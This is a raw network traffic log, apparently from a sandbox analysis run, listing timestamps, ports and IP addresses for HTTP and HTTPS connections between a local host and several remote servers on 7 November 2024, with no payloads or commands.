Nov 7, 2024 17:25:18.122178078 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.122189045 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.122191906 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.122191906 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.122200966 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.122203112 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.122221947 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.122287989 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.160279036 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.160291910 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.160303116 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.160434961 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.198647022 CET	443	49745	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:18.199583054 CET	49745	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:18.199603081 CET	443	49745	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:18.200176001 CET	49745	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:18.200181961 CET	443	49745	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:18.201894999 CET	443	49746	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:18.202478886 CET	49746	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:18.202498913 CET	443	49746	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:18.202853918 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.202866077 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.202877045 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.202956915 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.202956915 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.202972889 CET	49746	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:18.202980995 CET	443	49746	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:18.223666906 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.223716021 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.223727942 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.223777056 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.223810911 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.223819971 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.223831892 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.223844051 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.223855972 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.223886013 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.223886013 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.223984957 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.223997116 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.224008083 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.224019051 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.224030018 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.224031925 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.224041939 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.224054098 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.224070072 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.224106073 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.224148989 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.224203110 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.246522903 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.246682882 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.329049110 CET	443	49745	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:18.329308033 CET	443	49745	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:18.329374075 CET	49745	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:18.329485893 CET	49745	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:18.329497099 CET	443	49745	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:18.329505920 CET	49745	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:18.329511881 CET	443	49745	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:18.333511114 CET	49750	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:18.333532095 CET	443	49750	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:18.333596945 CET	49750	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:18.333753109 CET	49750	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:18.333762884 CET	443	49750	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:18.333961964 CET	443	49746	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:18.334307909 CET	443	49746	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:18.334352970 CET	49746	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:18.334395885 CET	49746	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:18.334409952 CET	443	49746	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:18.334419966 CET	49746	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:18.334428072 CET	443	49746	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:18.336601973 CET	49751	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:18.336621046 CET	443	49751	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:18.336685896 CET	49751	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:18.336805105 CET	49751	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:18.336817980 CET	443	49751	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:18.809762955 CET	443	49748	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:18.810766935 CET	49748	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:18.810786009 CET	443	49748	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:18.811301947 CET	49748	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:18.811306953 CET	443	49748	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:18.811904907 CET	443	49749	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:18.811966896 CET	443	49747	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:18.812251091 CET	49749	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:18.812273026 CET	443	49749	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:18.812340021 CET	49747	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:18.812366009 CET	443	49747	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:18.812725067 CET	49749	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:18.812730074 CET	443	49749	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:18.812799931 CET	49747	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:18.812805891 CET	443	49747	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:18.942018986 CET	443	49748	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:18.942082882 CET	443	49748	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:18.942259073 CET	49748	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:18.942737103 CET	49748	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:18.942744017 CET	443	49748	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:18.942764997 CET	49748	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:18.942770004 CET	443	49748	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:18.945633888 CET	443	49747	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:18.946063042 CET	443	49747	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:18.946151972 CET	49747	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:18.946181059 CET	49747	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:18.946181059 CET	49747	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:18.946194887 CET	443	49747	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:18.946202993 CET	443	49747	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:18.946419954 CET	49752	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:18.946446896 CET	443	49752	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:18.946531057 CET	49752	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:18.946825981 CET	49752	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:18.946835995 CET	443	49752	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:18.948934078 CET	49753	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:18.948951960 CET	443	49753	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:18.949028015 CET	49753	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:18.949191093 CET	49753	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:18.949203968 CET	443	49753	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:18.977550983 CET	443	49749	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:18.978002071 CET	443	49749	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:18.978068113 CET	49749	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:18.978110075 CET	49749	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:18.978122950 CET	443	49749	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:18.978136063 CET	49749	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:18.978142023 CET	443	49749	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:18.981085062 CET	49754	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:18.981113911 CET	443	49754	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:18.981189013 CET	49754	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:18.981348038 CET	49754	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:18.981359005 CET	443	49754	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:19.084558010 CET	443	49751	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:19.084619999 CET	443	49750	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:19.085150003 CET	49751	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:19.085170984 CET	443	49751	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:19.085711956 CET	49751	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:19.085719109 CET	443	49751	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:19.086040974 CET	49750	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:19.086070061 CET	443	49750	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:19.086493015 CET	49750	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:19.086498976 CET	443	49750	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:19.213196993 CET	443	49750	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:19.213661909 CET	443	49750	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:19.213746071 CET	49750	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:19.213828087 CET	49750	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:19.213850975 CET	443	49750	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:19.213864088 CET	49750	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:19.213870049 CET	443	49750	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:19.214014053 CET	443	49751	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:19.214209080 CET	443	49751	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:19.214267015 CET	49751	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:19.214456081 CET	49751	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:19.214472055 CET	443	49751	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:19.214483976 CET	49751	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:19.214489937 CET	443	49751	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:19.217829943 CET	49755	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:19.217852116 CET	443	49755	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:19.217940092 CET	49755	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:19.218004942 CET	49756	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:19.218046904 CET	443	49756	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:19.218107939 CET	49756	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:19.218174934 CET	49755	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:19.218189955 CET	443	49755	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:19.218350887 CET	49756	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:19.218365908 CET	443	49756	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:20.340811968 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:20.340908051 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:20.341218948 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:20.341268063 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:20.499104977 CET	443	49754	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:20.500790119 CET	443	49752	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:20.500854969 CET	443	49756	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:20.511565924 CET	443	49755	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:20.541665077 CET	49756	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:20.541666985 CET	49754	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:20.541666985 CET	49752	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:20.557291031 CET	49755	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:20.649574041 CET	49755	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:20.649583101 CET	443	49755	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:20.650446892 CET	49755	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:20.650451899 CET	443	49755	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:20.651400089 CET	49754	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:20.651407003 CET	443	49754	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:20.652785063 CET	49754	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:20.652791023 CET	443	49754	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:20.653388023 CET	49752	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:20.653393030 CET	443	49752	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:20.654113054 CET	49752	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:20.654117107 CET	443	49752	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:20.654609919 CET	49756	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:20.654619932 CET	443	49756	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:20.655158043 CET	49756	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:20.655164003 CET	443	49756	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:20.705645084 CET	443	49753	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:20.711234093 CET	49753	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:20.711251020 CET	443	49753	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:20.711752892 CET	49753	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:20.711756945 CET	443	49753	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:20.777337074 CET	443	49754	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:20.777475119 CET	443	49754	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:20.777553082 CET	49754	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:20.779489040 CET	443	49752	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:20.779565096 CET	443	49752	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:20.779638052 CET	49752	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:20.781013012 CET	443	49755	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:20.781073093 CET	443	49755	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:20.781116009 CET	49755	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:20.781205893 CET	443	49756	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:20.781284094 CET	443	49756	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:20.781357050 CET	49756	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:20.784614086 CET	49754	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:20.784632921 CET	443	49754	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:20.784657001 CET	49754	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:20.784663916 CET	443	49754	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:20.786839962 CET	49756	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:20.786839962 CET	49756	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:20.786851883 CET	443	49756	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:20.786860943 CET	443	49756	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:20.787944078 CET	49752	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:20.787944078 CET	49752	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:20.787956953 CET	443	49752	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:20.787965059 CET	443	49752	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:20.789154053 CET	49755	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:20.789165974 CET	443	49755	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:20.789179087 CET	49755	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:20.789184093 CET	443	49755	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:20.797476053 CET	49757	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:20.797511101 CET	443	49757	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:20.797583103 CET	49757	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:20.802711964 CET	49757	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:20.802736998 CET	443	49757	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:20.805285931 CET	49758	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:20.805313110 CET	443	49758	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:20.805416107 CET	49758	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:20.805551052 CET	49758	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:20.805562973 CET	443	49758	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:20.837341070 CET	443	49753	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:20.837431908 CET	443	49753	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:20.837486029 CET	49753	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:20.843832970 CET	49753	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:20.843844891 CET	443	49753	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:20.843856096 CET	49753	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:20.843858957 CET	443	49753	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:20.876924992 CET	49759	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:20.876966953 CET	443	49759	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:20.877058029 CET	49759	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:20.881216049 CET	49759	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:20.881230116 CET	443	49759	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:20.884541988 CET	49760	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:20.884583950 CET	443	49760	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:20.884645939 CET	49760	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:20.884999037 CET	49760	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:20.885010004 CET	443	49760	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:20.886791945 CET	49761	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:20.886895895 CET	443	49761	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:20.887013912 CET	49761	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:20.887181044 CET	49761	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:20.887222052 CET	443	49761	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:21.522979021 CET	443	49758	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:21.527849913 CET	443	49757	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:21.559647083 CET	49758	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:21.559674978 CET	443	49758	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:21.560396910 CET	49758	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:21.560411930 CET	443	49758	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:21.562016010 CET	49757	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:21.562026024 CET	443	49757	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:21.562585115 CET	49757	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:21.562592030 CET	443	49757	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:21.619426012 CET	443	49760	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:21.623402119 CET	443	49759	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:21.624416113 CET	443	49761	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:21.672996998 CET	49760	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:21.673015118 CET	49759	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:21.673017025 CET	49761	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:21.683449984 CET	443	49758	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:21.684046984 CET	443	49758	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:21.684119940 CET	49758	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:21.687550068 CET	443	49757	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:21.687781096 CET	443	49757	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:21.687844992 CET	49757	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:21.690186024 CET	49760	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:21.690193892 CET	443	49760	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:21.690854073 CET	49760	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:21.690859079 CET	443	49760	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:21.691060066 CET	49758	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:21.691076040 CET	443	49758	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:21.691087008 CET	49758	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:21.691092968 CET	443	49758	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:21.691096067 CET	49757	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:21.691112995 CET	443	49757	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:21.712902069 CET	49759	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:21.712909937 CET	443	49759	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:21.714066029 CET	49759	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:21.714071035 CET	443	49759	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:21.715631008 CET	49761	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:21.715646982 CET	443	49761	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:21.716063976 CET	49761	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:21.716069937 CET	443	49761	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:21.816564083 CET	443	49760	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:21.816637039 CET	443	49760	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:21.816699982 CET	49760	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:21.839245081 CET	443	49759	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:21.839452028 CET	443	49759	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:21.839545012 CET	49759	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:21.841747046 CET	443	49761	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:21.841804028 CET	443	49761	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:21.841851950 CET	49761	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:21.842994928 CET	49765	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:21.843027115 CET	443	49765	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:21.843087912 CET	49765	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:21.843303919 CET	49765	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:21.843322039 CET	443	49765	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:21.855241060 CET	49760	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:21.855256081 CET	443	49760	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:21.855334044 CET	49760	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:21.855340004 CET	443	49760	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:21.908242941 CET	49766	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:21.908293009 CET	443	49766	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:21.908382893 CET	49766	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:21.914150953 CET	49759	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:21.914179087 CET	443	49759	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:21.914191008 CET	49759	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:21.914197922 CET	443	49759	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:21.914343119 CET	49761	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:21.914366007 CET	443	49761	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:21.914380074 CET	49761	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:21.914386034 CET	443	49761	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:21.927887917 CET	49766	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:21.927906036 CET	443	49766	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:21.931890965 CET	49767	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:21.931932926 CET	443	49767	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:21.932066917 CET	49767	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:22.053046942 CET	49767	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:22.053075075 CET	443	49767	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:22.054389954 CET	49768	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:22.054438114 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:22.054517031 CET	49768	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:22.054886103 CET	49768	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:22.054899931 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:22.131824017 CET	49769	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:22.131861925 CET	443	49769	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:22.131927967 CET	49769	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:22.134795904 CET	49769	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:22.134813070 CET	443	49769	216.58.206.68	192.168.2.6
